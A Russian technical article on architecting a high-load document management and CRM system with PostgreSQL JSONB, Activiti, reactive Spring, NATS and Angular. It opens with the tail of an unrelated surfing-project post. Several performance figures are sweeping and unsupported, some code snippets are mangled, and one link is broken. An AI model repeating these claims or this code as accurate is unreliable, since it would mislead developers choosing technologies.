Весь мой код доступен на [GitHub](https://github.com/AndreyAzimov/whentosurf/). Он супер хардкорный. Никакого MVC, все в одном файле
#### Чему я научился?
1. Работайте над своими собственными проблемами. Это лучше всего, потому что до них-то вам точно будет дело. Вычисление лучшего времени для серфинга стало моей навязчивой идеей, и это сделало весь процесс легче (хотя все равно было сложно). Первый ваш пользователь – это вы сами.
2. Очень помогают хорошие наставники, которые уже вышли на тот уровень, к которому вы стремитесь. В этом отношении полезны коллективные офисы типа [Dojo](http://www.dojobali.org/) – там вы встретите людей, работающих над интересными и успешными проектами.
3. Учитесь на практике. Не надо покупать/читать книги. Не надо записываться на курсы. Не надо платить учителям. Просто гуглите и пользуйтесь тем, что уже освоили. А если вам нужны наставники, имейте в виду: лучшие из них консультируют бесплатно, потому что они уже успешны и не нуждаются в ваших деньгах! Также избегайте тренеров по стартапам – это пиявки, которые хотят только высосать из вас последние деньги.
4. Не бойтесь использовать новые технологии. Я боялся связываться с кодом, потом с API, потом с настройкой серверов, потом с HTTPS. Но я сделал это. А когда попробовал, все оказалось не так страшно.
Действуйте! Не сдавайтесь. Всегда старайтесь закончить свой проект. | https://habr.com/ru/post/322068/ | null | ru | null |
# Передовые технологии на службе СЭД
Аннотация
---------
В статье монографически раскрываются современные аспекты разработки документо-ориентированных систем основанных на собственном опыте. Все исследования и реализация технологий последовательно выполнены в ряде проектов на протяжении последних 3-х лет, где частично или полностью использовался представленный подход. Пошагово показан путь создания высоконагруженной СЭД и одновременно формирования в рамках полученной платформы многофункциональной CRM.
Стратегия разработки подчинена парадигме: если технологии позволяют не расширять инфраструктуру при допустимом ущербе качества с сохранением стабильности и доступности – инфраструктура не расширяется. Данная парадигма минимизирует вероятные точки отказа, уменьшает стоимость разработки проекта и в итоге стоимость инфраструктуры.
Введение
--------
CRM, Help Desk, Service Desk достаточно простые и входят в одно подмножество характеризующиеся общими свойствами, включая свойство прямой реализации требований и соответственно низкой масштабируемости на уровне бизнес-требований в рамках бюджета. Обычно СЭД в контексте данных систем не рассматривается из-за дополнительных ресурсов для очередной «серебряной пули себе в ногу» и конечно различной степени боли инвариантной экспектации.
В силу сказанного, большинство СЭД разработанные более 5 лет назад в основном являются неуклюжим конгломератом устаревших технологий от которых почти невозможно отказаться из-за кажущихся значительных расходов на разработку нового СЭД с текущими трендами. Таким образом, возникает общая тенденция продолжать строить сверху нагромождения из современных подходов, что действительно удешевляет поддержку и доработку в ущерб масштабируемости. В результате чего, разработчикам приходится становиться узкопрофилированными специалистами сложных систем, что и произошло на примере SAP, Siebel и т.д.
Также, можно отметить схожую тенденцию у любого проприетарного продукта с большим количеством корпоративных клиентов, где возникает главный приоритет – стабильность и происходит очередное нагромождение технологий и подходов, чтобы не затронуть проверенный функционал, а удовлетворить надо всех.
Исходный код типичного проекта большой и сложный в силу непосредственной реализации бизнес-логики, постоянной поддержки до нескольких сотен моделей таблиц баз данных, согласования десятков технологий, а аналитические графики и отчёты привязанные к структуре данных требуют постоянного обновления – всё это в той или иной степени увеличивают расходы ограниченных ресурсов. А ведь все эти расходы можно свести к крайнему минимуму с помощью новых технологий и подходов.
Приведу на мой взгляд современные проблемы разработки:
1. Чем больше типов обрабатываемых данных, тем дольше и сложнее разработка на каждом этапе – данная проблема связана с использованием по привычке устаревших технологий, к которым можно отнести и классические реляционные базы данных, концепция которых была принята ещё в далёком 1971 году и изначально адаптирована к данным со статичной структурой;
2. Архитекторы при проектировании систем в основном основываются на проверенном годами положительном опыте и текущих знаниях сотрудников, в итоге, через несколько месяцев получают то, что можно реализовать за месяц новыми технологиями с большим функционалом и гораздо меньшим количеством сотрудников;
3. Классические инструменты полнотекстового поиска, глубокого анализа и построения кубов загружают исходные данные в собственные хранилища, что приводит к многократному дублированию баз данных, снижении стабильности и росту стоимости владения.
Решение перечисленных проблем мне видится только в передовых эволюционных подходах, отвечающие современным требованиям, включая оперативную адаптацию под постоянно меняющиеся внешние факторы.
Предлагаемые в статье технологии и подходы позволяют значительно уменьшить и упростить исходный код, и наконец, унифицировать подход к любому типу данных, включая визуализацию и построение отчётов. Сведя в итоге стоимость разработки и владения в разы по сравнению с «привычными» подходами.
Предметная область
------------------
В каждой крупной компании есть партнёры и сотни контрагентов, причём определённым группам контрагентов назначаются избранные партнёры и наоборот. Список партнёров и контрагентов, а также клиенты каждого из участников составляют коммерческую тайну и недоступны друг другу.
Процесс согласования и утверждения документа является бизнес-процессом, который сам по себе также является документом и должен исторически фиксироваться. У каждого типа документа в отдельной организационной структуре возможен свой уникальный путь согласования в разные периоды времени (отпуск руководителя, сбой системы подрядчика и т.д.).
Каждый участник платформы имеет собственные внутрикорпоративные стандарты ведения электронного документооборота и при отправке документ может быть сканом в виде рисунка TIFF, PNG, JPG, документом Word, Excel, ODT, ODS, PDF с различными версиями, файлами TXT или CSV и презентациями PPT или ODP.
Бизнес-процессы участников описаны в нотации BPMN 2.0 и могут следовать стандартам ISO 9000, ISO 20000, ITIL, COBIT с применением инструментов BPM от различных компаний.
Нагрузку возьмём из частоты подписания системой ежедневно новых договоров более 500, а это каждый раз запуск соответствующего бизнес-процесса со множеством согласований, не говоря уже о тысячах первичных документов бухгалтерского учёта и доп. соглашений по существующим договорам – пик нагрузки в итоге может превысить 5 тыс. запросов в секунду (средний размер 200 байт) с заполнением канала в 10 Мбит при 20 тысячах пользователей онлайн.
По всем загруженным документам организации в рамках политик безопасности должна быть возможность полнотекстового поиска по содержанию, причём с адаптацией для любого из языков, где релевантность поиска корректируется алгоритмом *латентно-семантического анализа* (LSA) с отдельным отображением связанных по смыслу документов.
Применяются методы мат. статистики и алгоритмы глубокого анализа для построения график-табличного аналитического отчёта по всем атрибутам документов, а также прогнозирования возникновения документов определённого типа и смены статусов с заданными атрибутами на основе выявленных закономерностей свободного поиска для автоматического контроля и рекомендательных уведомлений.
Технологии
----------
**База данных**: *PostgreSQL*
В разное время Oracle и Uber (Uber отказался от PostgreSQL в пользу MySQL от Oracle) опубликовали статьи на тему «Почему не стоит использовать PostgreSQL» – следует поблагодарить ребят за кропотливую работу и заботливые напоминания, сделав прекрасный подарок в виде необходимого и достаточного чек-листа взросления PostgreSQL.
Вот чек-лист на мой взгляд зрелости современной PostgreSQL:
* выбор и использование именно PostgreSQL обусловлено крайне широкой поддержкой JSON с соответствующей реализацией большого количества функций и расширений, кроме того, PostgreSQL позволяет выстраивать внешние связи между JSON-данными, что например не умеет журнальный MongoDB;
* PostgreSQL выполняет запросы с полями типа JSON быстрее Oracle до 5 раз и быстрее MongoDB до 10 раз – что ставит PostgreSQL в один ряд с No-SQL базами данных, а учитывая возможность PostgreSQL также строить высокоскоростные key-value (hstore) хранилища с богатым функционалом и поддержкой журнала транзакций (чего нет в Redis), то и первым в ряду;
* если сравнивать скорость выполнения запросов реляционных таблиц и JSON с тем же набором данных в самом PostgreSQL, то разница составит до 2000 раз, а разница выгрузки в контейнер сервлетов результата JSON-запросов составит более 100 мс на каждые 100 тыс. записей, также размер JSON-хранилища на диске меньше до 2 раз и до 8 раз меньше размер индексов при больших массивах данных;
* подключив видеопамять к серверу производительность PostgreSQL по всем типам запросов автоматически увеличится в среднем на 17%, конечно, также не стоит использовать конфигурационный файл по дефолту, т.к. его адаптация под станцию и ОС – увеличит производительность до 3 раз;
* наличие активно развивающегося расширения Apache MadLib, разработанный учёными университета Berkeley совместно с инженерами корпорации Dell EMC (предоставили для тестирования терабайты финансовой статистики за десятилетия), где реализованы все известные математические алгоритмы машинного обучения для работы с данными в реальном времени непосредственно в базе данных;
* появился скоростной индекс RUM, который позволяет строить качественный релевантный мультиязычный полнотекстовый поиск с синтаксисом поискового web-запроса по таблицам с десятками миллионов записей за ~400 мс обычным сканированием индекса за счёт избыточной индексации без использования оперативной памяти – что позволяет исключить кластер ElasticSearch с огромными требованиями к памяти;
* PostgreSQL умеет также в реальном времени строить куб в параллельных потоках – что считается продвинутым на рынке OLAP и с явным преимуществом в виде: уровней абстракций (рекурсивные кубы), декларативного языка запросов и сравнительно более высокой точности;
* PostgreSQL даёт многократную экономию стоимости владения за счёт рекордной скорости No-SQL и многофункциональности (покрывающей практически все потребности) даже без учёта бесплатности продукта, а ведь стоимость лицензий баз данных у конкурентов просто астрономическая.
Новый подход в использовании No-SQL структуры базы данных в формате JSON обусловлен исключением из исходного кода *объектно-реляционного представления данных* (ORM), что приводит к гибкости, необходимой для динамической модификации модели данных. В частности, использование подхода No-SQL к описанию объектов в виде моделей многократно сокращает и упрощает исходный код бэкенда, ведь тогда можно работать с данными, не заботясь об их структуре.
```
data class JObject : Serializable {
var id: UUID
var jtree: JsonNode
}
```
Многие системы на определённом этапе переходят в разряд высоконагруженных, что часто ведёт к их переписыванию и первым порядком идёт отказ от использования Hibernate как от бутылочного горлышка, что ускоряет запросы к БД от 10 раз и выше, а операции вставки до 5 раз. И конечно, в этом деле, использование подхода No-SQL от PostgreSQL играет ключевую роль.
**Движок бизнес-процессов**: *Activiti*
Безусловными лидерами корпоративного рынка движков бизнес-процессов (BPM) являются коммерческие (проприетарные) движки Lombardi Teamworks, Pegasystems SmartBPM, Savvion Business Manager, Oracle BPM Suite, Intalio BPMS, TIBCO Business Studio включающие в себя мощные инструменты имитационного моделирования для проигрывания различных сценариев поведения бизнес-моделей и аналитические средства мониторинга для выявления узких мест.
Выбор Activiti BPM по следующим причинам: Activiti создал программист, в своё время, разработавший jBPM для компании JBoss, также, в разработке продукта участвуют программисты из Spring Source – настолько сильной командой и компетенциями не может похвастаться ни один из движков BPM.
Разработчики Activiti наконец сделали свой продукт высоконагруженным и начиная с версии 7.1.0-М17 прирост производительности составил 10 раз. Инфраструктура вокруг Activiti слабая, отсутствуют штатные средства мониторинга, но в своё время был анонсирован в рамках проекта Activiti Cloud web-редактор бизнес-процессов, который можно интегрировать в СЭД и кустомизировать.
**Бэкенд**: *Reactive Spring Cloud*
Для организации взаимодействия подсистем (микросервисов) между собой классически используется архитектурный шаблон *сервис-ориентированной архитектуры* (SOA). И в соответствии с SOA *п*оявилась новая концепция шины данных Talend ESB, основанная на интеграционном фреймворке Apache Camel. Полностью поддержанная Activiti BPM и позволяющая напрямую интегрироваться в ESB-шину с возможностью использовать непосредственно в бизнес-процессах технических шагов Talend ESB. Такая возможность из коробки отсутствует в большинстве BPM-движках.
Talend ESB также базируется на Apache Karaf, что позволяет динамически загружать и выгружать Java-классы, в следствии чего, бизнес-процессы Activiti BPM становятся динамичными. Talend публикует целую линейку технологий для работы с данными: MDM, Big Data ETL, Data Quality – каждая из которых имеет визуальные средства моделирования и вся линейка интегрируема друг в друга.
Вот, как бы, вся мощь империи, но ESB-шины при всей своей широкой функциональности и гибкости имеют свои архитектурные рамки, за которые выйти без нарушения внутренней логики невозможно. И таким образом, эволюционно, появился Spring Cloud, предоставляя максимальную свободу и представляя собой ESB-шину без рамок, при этом, унаследовав всю терминологию и базовые принципы ESB-шин такие как: Discovery, Gateway, Config Server, Secrets и т.д.
Шли годы и современные требования заявили о необходимости поддержки высокой нагрузки, так появился на свет Reactive Spring Cloud, в основе которого находится сервер Reactor Netty. Netty быстрее Tomcat в 10 раз и NodeJS в 3 раза, что позволяет разработчикам создавать реактивные системы корпоративного уровня со всей инфраструктурой отказоустойчивости и масштабируемости Spring Cloud.
Более нет необходимости в разбалансировке 10 подов сервиса Spring на базе Tomcat, когда достаточно 2 подов с Netty. Отдельному инстансу с Netty выделяется памяти значительно меньше чем Tomcat. В этом и суть новых технологий, когда стоимость разработки и владения уменьшаются в разы.
Результатом реактивной разработки являются неблокируемые приложения с асинхронными потоками данных и более эффективным использованием процессорного времени. Ускорение работы реактивных приложений на первый взгляд незаметен и составляет сотые доли секунды, но в высоконагруженных системах даже 10 мс суммируется. Тут надо учитывать, что высокие нагрузки присутствуют на каждом из этапов обработки потока данных.
Справляться с нагрузками только увеличением количества подов будет необоснованно дорого. Мною разработаны новые экспериментальные подходы с доработкой базовых технологий, увеличивающих производительность на каждом этапе в разы при тех же конфигурациях. По предварительным расчётам ускорение работы системы на этапах фронт-бэк-база и обратно составляет 8 раз и конечно это прямо влияет на уменьшение стоимости владения. В рамках данной статьи обоснование выбранных экспериментальных подходов кратко не раскрыть, поэтому оставлю для темы одной из следующих статьей.
Для реактивной разработки используется микрофреймворк WebFlux на базе библиотеки Project Reactor, более продвинутой чем RxJava. Асинхронный код лаконичен и если писать ещё на Kotlin, то в итоге код становится в несколько раз меньше от аналогичного на классической Java, т.е. во много раз читабельнее. На Kotlin проще и продуктивнее работать. При работе с WebFlux необходимо учитывать [рецепты от команды SberDevices](https://habr.com/en/company/sberdevices/blog/554942).
Неотъемлемой частью WebFlux является реактивная модель, основанная на управляемых событиях *Event-Driven* (EDA) с использованием одного из брокеров сообщений. В качестве брокера обычно выбирают Kafka из-за скорости и гарантии доставки. Kafka быстрее ActiveMQ и RabbitMQ в 5 раз. Но выбор пал на NATS из-за отсутствия необходимости в дополнительном сервере ZooKeeper.
NATS быстрее Kafka в 2 раза. Скорость NATS в особенности реализации, когда сообщения доставляются напрямую от отправителя к получателю. NATS прост, из коробки сжимает с gRPC все сообщения, естественно интегрируется в реактивный стиль за счёт поддержки pub/sub/stream.
Гарантия доставки NATS построена на действительно революционной подсистеме JetStream с правилом at-least-once delivery (доставка хотя бы один раз), оптимизированной для безопасной обработки миллиардов сообщений. JetStream обеспечивает несколько способов получения данных от одного источника – это очень похоже на *распределённое реплицируемое блочное устройство* (DRBD) с поддержкой multi-path (несколько каналов связи между узлами), входящее в ядро Linux и применяемое для построения отказоустойчивых кластерных систем на ОС Linux.
**Фронтенд**: *Angular*
Безусловно, Angular имеет сравнительно высокий уровень порог вхождения, но выбор сделан из-за web-редактора бизнес-процессов Activiti, который реализован на Angular.
Есть множество генераторов форм на Angular и большинство весьма хороши, концепция современной СЭД подразумевает хранение всех интерфейсов бизнес-процессов и любых форм в виде JSON в базе данных, которые можно отредактировать в визуальном редакторе без привлечения программиста – присутствуют множество платных редакторов, но свой можно реализовать за неделю.
Если разрабатывать с нуля адаптированный скелет фронтенда, то на этом можно впустую потратить время. Лучшим вариантом будет покупка современного шаблона от профессионалов – цена минимальная, а качество на мировом уровне.
Кроме того, в комплекте будет присутствовать целая коллекция стильных компонентов типа Material Design. И как правило, шаблон протестирован на всех браузерах и мобильных устройствах. Такой же практики придерживаются практически все крупнейшие IT-компании.
Архитектура
-----------
Шаги реализации
---------------
1) Базовые таблицы БД:
Схемы форм Angular хранятся соответственно в form. Осмысление папок тривиальна. В поле jtree хранятся помимо name и description, любые уникальные атрибуты записи и как видно, присутствует во всех таблицах. Все объекты сохраняются в одну таблицу jobject, в которой записи физически распределяются по наследуемым таблицам по типу папки. Все объекты могут ссылаться друг на друга по несколько раз и с разными типами связей (структура каждого типа уникальна).
Скрипт создания таблиц
```
CREATE TABLE public.form
(
id uuid DEFAULT uuid_generate_v1mc() NOT NULL PRIMARY KEY,
jtree jsonb NOT NULL,
created_at timestamp with time zone DEFAULT timezone('utc'::text, CURRENT_TIMESTAMP)
);
CREATE TABLE public.jfolder
(
id uuid DEFAULT uuid_generate_v1mc() NOT NULL PRIMARY KEY,
code text NOT NULL,
jtree jsonb NOT NULL,
form_id uuid REFERENCES form (id),
parent_id uuid REFERENCES jfolder (id),
created_at timestamp with time zone DEFAULT timezone('utc'::text, CURRENT_TIMESTAMP)
);
CREATE TABLE public.jobject
(
id uuid DEFAULT uuid_generate_v1mc() NOT NULL,
jtree jsonb NOT NULL,
jfolder_id uuid NOT NULL REFERENCES jfolder (id),
created_at timestamp with time zone DEFAULT timezone('utc'::text, CURRENT_TIMESTAMP),
tsv tsvector,
PRIMARY KEY (id, jfolder_id)
) PARTITION BY LIST (jfolder_id);
CREATE TABLE public.jobject_jobject
(
id uuid DEFAULT uuid_generate_v1mc() NOT NULL PRIMARY KEY,
left_id uuid NOT NULL,
right_id uuid NOT NULL,
jtree jsonb,
parent_id uuid REFERENCES jobject_jobject (id)
);
INSERT INTO public.jfolder(code, jtree) VALUES ('document', '{"name": "Документы"}');
INSERT INTO public.jfolder(code, jtree) VALUES ('organization', '{"name": "Организации"}');
INSERT INTO public.jfolder(code, jtree) VALUES ('employee', '{"name": "Сотрудники"}');
INSERT INTO public.jfolder(code, jtree) VALUES ('file', '{"name": "Файлы"}');
INSERT INTO public.jfolder(code, jtree) VALUES ('type', '{"name": "Типы документов"}');
CREATE FUNCTION public.jfolder_by_code(p_code text) RETURNS uuid
LANGUAGE plpgsql AS
$$
declare
jfolder_id uuid;
BEGIN
SELECT id into jfolder_id FROM jfolder WHERE code = p_code;
RETURN jfolder_id;
END;
$$;
CREATE TABLE jobject_document PARTITION OF jobject FOR VALUES IN (jfolder_by_code('document'));
CREATE TABLE jobject_organization PARTITION OF jobject FOR VALUES IN (jfolder_by_code('organization'));
CREATE TABLE jobject_employee PARTITION OF jobject FOR VALUES IN (jfolder_by_code('employee'));
CREATE TABLE jobject_file PARTITION OF jobject FOR VALUES IN (jfolder_by_code('file'));
CREATE TABLE jobject_type PARTITION OF jobject FOR VALUES IN (jfolder_by_code('type'));
INSERT INTO public.jfolder(parent_id, code, jtree) VALUES (jfolder_by_code('type'), 'email', '{"name": "Почта"}');
INSERT INTO public.jfolder(parent_id, code, jtree) VALUES (jfolder_by_code('type'), 'sms', '{"name": "SMS"}');
INSERT INTO public.jfolder(parent_id, code, jtree) VALUES (jfolder_by_code('email'), 'email_template', '{"name": "Шаблон"}');
INSERT INTO public.jfolder(parent_id, code, jtree) VALUES (jfolder_by_code('email'), 'email_draft', '{"name": "Черновик"}');
INSERT INTO public.jfolder(parent_id, code, jtree) VALUES (jfolder_by_code('sms'), 'sms_personal', '{"name": "Персонально"}');
INSERT INTO public.jfolder(parent_id, code, jtree) VALUES (jfolder_by_code('sms'), 'sms_all', '{"name": "Рассылка всем"}');
CREATE OR REPLACE FUNCTION jtree(p_parent_id uuid) RETURNS SETOF jsonb AS
$$
BEGIN
RETURN QUERY EXECUTE '
select case
when count(x) > 0 then
jsonb_build_object(''id'', t.id, ''name'', t.jtree ->> ''name'', ''items'', jsonb_agg(f.x))
else
jsonb_build_object(''id'', t.id, ''name'', t.jtree ->> ''name'')
end jtree
from jfolder t left join jtree(t.id) as f(x) on true
where t.parent_id = $1 or (t.parent_id is null and $1 is null)
group by t.id, t.jtree ->> ''name'''
USING $1;
END
$$ LANGUAGE plpgsql
SECURITY DEFINER
IMMUTABLE;
```
Запрос:
```
select distinct jtree(null) from jfolder
```
позволяет получить готовое дерево папок для фронта в виде:
```
{
"id": "e0431130-f9da-11eb-992c-b3e556fc235b",
"name": "Типы документов",
"items": [
{
"id": "7e48e4bc-032e-11ec-9d20-7b4a76779782",
"name": "Почта",
"items": [
{
"id": "c5695f46-0330-11ec-9d20-f7e01673c7ab",
"name": "Шаблон"
},
{
"id": "fc9bf44e-0332-11ec-9d20-2fc71c567d6d",
"name": "Черновик"
},
]
},
{
"id": "7e48e4bd-032e-11ec-9d20-bb8fd66d875c",
"name": "SMS",
"items": [
{
"id": "fc9bf450-0332-11ec-9d20-639360800cea",
"name": "Рассылка"
},
{
"id": "c5695f48-0330-11ec-9d20-9f0a5c2f030f",
"name": "Персонально"
},
]
}
]
}
```
2) Базовые принципы бэкенда:
Для взаимодействия с базами данных используется реактивный Spring Data, в которой вместо Hibernate располагается R2DBC с поддержкой реактивных драйверов баз данных и являющийся аналогом JDBC, но с чуть большей скоростью выполнения запросов.
Понятия Entity-прокси больше не существует, реактивный R2dbcRepository оперирует обычными классами и маппит результат через FastMethodInvoker, сравнимый по скорости с прямым доступом.
Возможности реактивного репозитория Spring Data при наследовании от интерфейса R2dbcRepository явно не соответствует современным требованиям, перепишем его на уровне спецификации в отдельную библиотеку чтобы:
* перегрузить функции репозитория на дополнительный параметр типа Dsl – этот подход немножко напоминает <https://github.com/querydsl/querydsl>, но значительно удобнее в использовании и весьма функциональнее;
* отключить обязательность присутствия в классах R2DBC-аннотаций, т.е. использовать обычные классы как есть – через Dsl можно легко объединять таблицы.
Интерфейс модифицированного репозитория:
```
interface R2dbcRepository : ReactiveCrudRepository {
fun findOne(dsl: Dsl): Mono
fun findAll(dsl: Dsl): Flux
fun delete(dsl: Dsl): Mono
fun listener(): Flux
fun saveBatch(models: Iterable~~): Flux
}~~
```
В Dsl можно выстроить предикаты всех видов по любому полю или полям связанных таблиц, также при необходимости, можно перечислить поля в результате:
```
Dsl.create()
.equals("hobby", "Konami")
.isTrue("isMonicStyle")
.isNull("name)
.fields("age", "sisterTable.name", "jtree.hobby.description")
```
где после выполнения запроса будут заполнены поля результирующей модели: age, name, description.
Метод listener позволяет подписаться на любые изменения в таблице и в реальном времени получать уведомления прямо из базы данных:
```
dslRepository.listener()
.onBackpressureLatest()
.concatMap { notification ->
val json = notification.parameter.toJsonNode()
if (json["operation"].asText() == "INSERT") {
info("database event: $json")
}
}
```
Dsl поддерживает релевантный полнотекстовый поиск по таблице в которой используется по умолчанию поле tsv (можно указать любое имя):
```
dslRepository.findAll(
Dsl.create().fts("cool|pencil").equals("type", 1L).pageable(0,20))
```
Метод saveBatch позволяет сохранять любые типы объектов в коллекции не привязанные к модели репозитория, т.к. операция носит массовый характер:
```
dslRepository.saveBatch(listOf(cool1, cool2, pencil1, pencil2))
```
Основная идея Dsl – сократить время разработки через максимальную простоту работы с БД, включая формирование на фронтенде всех возможных критерий без внесения изменений в бэкенд:
```
localhost:8080/items?query= shops.type==mega, name~~biggest, price>=100 &
fields=id, name & page=0 & size=20 & sort=itemType:asc, createdAt:desc
```
по которой генерируется SQL:
```
select id, name from items join shops on items.shop_id = shops.id
where shops.type='mega' and name like '%biggest%' and price >= 100
order by item_type asc, created_at desc limit 20 offset 0
```
Как это показано в примере, Dsl умеет спускаться через связанные таблицы и выстраивать объединения. Также, можно работать напрямую с клиентом базы данных:
```
val dsl = DslUtils.getCriteriaBy(Dsl.create().id(100L), JObject::class)
client.select().from(JObject::class).matching(dsl).fetch().one()
```
Dsl всегда формирует запрос через Criteria Builder, что исключает SQL-инъекции. Исходный код рабочей версии реактивной DslRepository [находится на GitHub](https://github.com/SevenParadigms/r2dbc-dsl), также библиотека опубликована в Maven Central:
```
io.github.sevenparadigms
spring-data-r2dbc-dsl
4.5.23
```
В данной версии Dsl внедрено непосредственно в Spring Data, т.е. её надо подключать взамен библиотеки spring-data-r2dbc. Десятки тестов библиотеки адаптированы под функционал Dsl.
Для дополнительного удобства и возможности использования [Reactive Feign Client](https://github.com/Playtika/feign-reactive) – была вынесена модель Dsl в отдельную библиотеку:
```
io.github.sevenparadigms
spring-data-r2dbc-dsl-common
4.5.23
```
Все аспекты авторизации вынесли из Spring Security во внешние SSO-сервера. По рекомендации команды Spring следует использовать Keycloak, который по умолчанию используется также web-редактором бизнес-процессов Activiti. Необходимо учитывать низкую производительность сервера Keycloak при одновременной работе более 400 организаций.
Расширим реактивную Spring Security до поддержки [реактивной модели безопасности ABAC](https://github.com/SevenParadigms/reactive-spring-abac-security), которая через совокупность правил умеет также строить гибкую и детальную политику безопасности.
ABAC также зафиксирует все разрешённые Dsl-запросы по каждому методу REST-контроллера. Зафиксировать все разрешённые Dsl-запросы у каждого метода не подключая Spring Security можно через имплементацию интерфейсов [ConstraintValidator](https://github.com/rkpunjal/sql-injection-safe/) или [Validator](https://docs.spring.io/spring-framework/docs/3.0.0.M4/reference/html/ch05s02.html). Или воспользоваться [удобной библиотекой](https://github.com/liangbaika/validate):
```
@GetMapping
@ValidateParam(value = Check.Custom,
argName = "dsl.query", express = "dslRegexValidator")
fun getItem(dsl: Dsl)
```
Создание правила «Только инспектор может просматривать все документы своего отдела»:
```
insert into abac_rule (name, description, type, target, condition)
values ('Инспектор видит все документы и только своего отдела',
'может просматривать только те документы, которые созданы в отделе',
'Document',
'action == ''show department documents''',
'authUser.role == ''inspector''
and authUser.departmentId == domainObject.departmentId');
```
Применение правила ABAC в аннотации над методом:
```
@PreAuthorize("rule('connect only from department')
and rule('show department documents')")
```
В рамках создания современной СЭД бэкенд мало знает о передаваемых данных и в основном служит транспортом между фронтом и базой данных, обеспечивая прозрачную валидацию структуры передаваемых данных согласно сохраненным в БД схемам форм Angular и безопасность по модели ABAC для контроля доступа на основе совокупности правил.
```
@PostMapping
fun save(@RequestBody jobject: JObject) = objectService.save(jobject)
@GetMapping(value = ["{jfolderId}"])
fun findAll(@PathVariable jfolderId: UUID, dsl: Dsl)
= objectService.findAll(jfolderId, dsl)
```
Всего два метода контроллера могут обеспечить все потребности фронтенда при работе с базой данных. Бэкенд при этом знает только об абстрактной таблице jobject, от которой могут быть унаследованы до нескольких сотен реальных. Функция add принимает данные с произвольной структурой и сохраняет как есть в формате JSON.
Структура класса Dsl:
```
class Dsl {
var query: String
var lang: String
var fields: Array
var page: Int
var size: Int
var sort: String
}
```
3) Подходы разработки фронтенда:
Новый подход подразумевает, что фронтенд является владельцем и потребителем данных. Такая архитектура позволяет полностью управлять данными на стороне фронта, что даёт бизнес-аналитикам полную свободу по добавлению новых типов данных, модификации структуры данных, а также добавлению и удалению атрибутов.
Описанный подход максимально ускоряет процесс разработки особенно в условиях постоянных модификаций структуры данных, визуальных форм и интерфейсов. А с учётом перспективы добавления в систему сотен различных реестров с уникальной логикой обработки данных, то данный подход является наиболее естественным при работе с большим объёмом неструктурированных данных.
Визуальный редактор интерфейсов также формирует формы промежуточных шагов бизнес-процессов. В определённый момент процесса разработки, активные доработки на бэкенде и в базе данных прекращаются – все работы в основном в визуальных редакторах.
Одним из способов ускорения реализации СЭД – в создании отдельной библиотеки фронтенда со всеми оперируемыми моделями данных, где внутри, библиотека также содержит конфигурационный файл Maven для конвертации моделей Angular в схемы Apache Avro с автоматической генерацией Java-классов на нужды сервисов. Сгенерированные классы можно с ходу использовать в DslRepository, где единственное правило – чтобы присутствовало поле с именем id.
Реализация бизнес-логики обычно производится в отдельном сервисе, но типичные алгоритмы всё-таки желательно хранить в виде Kotlin-скриптов в БД, что делает возможным редактировать их в одном из бесплатных визуальных редакторов исходного кода.
Компилировать скрипты можно на этапе старта сервиса либо хранить байткод в кластерном кэше уровня сервиса Embedded Hazelcast – это позволяет оперативно дорабатывать на фронте алгоритмы без перезагрузки подов сервиса. Такой подход также делает бизнес-процессы Activiti полностью динамичными.
4) Консолидация данных:
С десяток форматов документов различных версий могут быть загружены в систему, по которым необходимо организовать полнотекстовый поиск. Бесплатным инструментом извлечения текста с должным качеством является Apache Tika, который также умеет распознавать текст с рисунков через встроенную библиотеку Tesseract OCR.
Удобно будет организовать импорт и загрузку данных через визуализацию содержимого файлов непосредственно в браузере. В Excel для загрузки табличных данных, помимо просмотра, можно селективно удалять ненужные колонки или строки.
Наиболее эффективный запрос релевантного полнотекстового поиска:
```
SELECT id, jtree->>'name' as title,
ts_rank_cd(s.tsv, websearch_to_tsquery('russian', 'рынок(союз|-покрытие)'))
FROM (
SELECT id, jtree, tsv
FROM jobject,
websearch_to_tsquery('russian', 'рынок(союз|-покрытие)') AS q
WHERE (tsv @@ q)
) AS s
ORDER BY ts_rank_cd(s.tsv,
websearch_to_tsquery('russian', 'рынок(союз|-покрытие)')) DESC;
```
5) Разработка Data Mining и OLAP
Возможность непосредственно в базе данных запускать алгоритмы машинного обучения и построения OLAP-кубов позволяет многократно уменьшить используемые ресурсы, обеспечивая обработку и вывод результатов в реальном режиме времени.
Встроенный в PostgreSQL в виде расширения инструмент Apache MadLib очень прост в использовании из-за применения запросов в виде SQL, что в равной степени касается и синтаксиса построения OLAP-кубов.
Многие данные в период начального сбора или из открытых источников фрагментированы, либо имеют искажения и работа по восстановлению занимает немало времени. Для этого необходимо применение мощных инструментов, какими обладает PostgreSQL и интегрированный воедино MadLib.
MadLib содержит реализацию всех популярных алгоритмов: SVM (метод опорных векторов), K-Means (классификация методом k-средних) и т.д. В научных институтах СНГ наиболее часто используется рекурсивная линейная регрессия для задач прогнозирования и выявления зависимостей.
В MadLib представлена обычная линейная регрессия, но доработать её до рекурсивной средствами PgSQL не очень сложно. Единственно, можно ещё доработать и сам MadLib (написанный на Python) строящий запросы в реляционной модели, т.е. если внедрить свойства No-SQL, то получаем ускорение в сотни раз.
Есть непрофильные алгоритмы для MadLib, например, *латентно-семантический анализ* (LSA). Свободных библиотек LSA много, можно внедрить одну из них в виде расширения PostgreSQL. Затем, комбинируя результат релевантного полнотекстового поиска и обученной модели LSA дополнить результат поиска сравнительными коэффициентами соответствия и ссылками на ближайшие документы по смыслу.
6) Динамическая отчётность
Jasper Reports позволяет строить отчёты и графики без взаимодействия с БД, т.е. отправляя на вход Json со всеми данными – сразу формируется отчёт или график в нужном формате. Данной технологии много лет и имеет вокруг сообщество с большим числом разработчиков. Есть множество открытой информации по каждому аспекту использования Jasper Reports. В редакторах Jaspersoft Studio или iReport Designer, помимо прочего, можно строить отчёты с любым уровнем вложенности и разгруппировывать данные по полю без вызова SQL.
Можно сформировать не только сложный отчёт, но и полноценный документ в формате Word или PDF типа договора или коммерческого предложения. Другими словами, использовать Jasper Reports в качестве генератора сложных документов с разнообразием отчёта.
Также есть визуальный редактор [jsreports](http://git%20clone%20https://github.com/jsreport/jsreport) построения отчётов в браузере, но сделать подобный довольно легко и поэтому может послужить примером для реализации своего редактора отчётов, максимально адаптированного под структуры оперируемых данных.
В визуальном web-редакторе wysiwyg, схожим с Word (которых великое множество), редактируем шаблон отчёта с расстановкой наименований полей модели и синтаксиса отображения табличных данных из коллекций. Мышкой добавляем из заготовленной заранее коллекции графики и табличные данные. Затем, шаблон в формате HTML или JRXML, как удобнее, сохраняется в БД. Заполненные документы могут выгрузится в любом формате офисного документа.
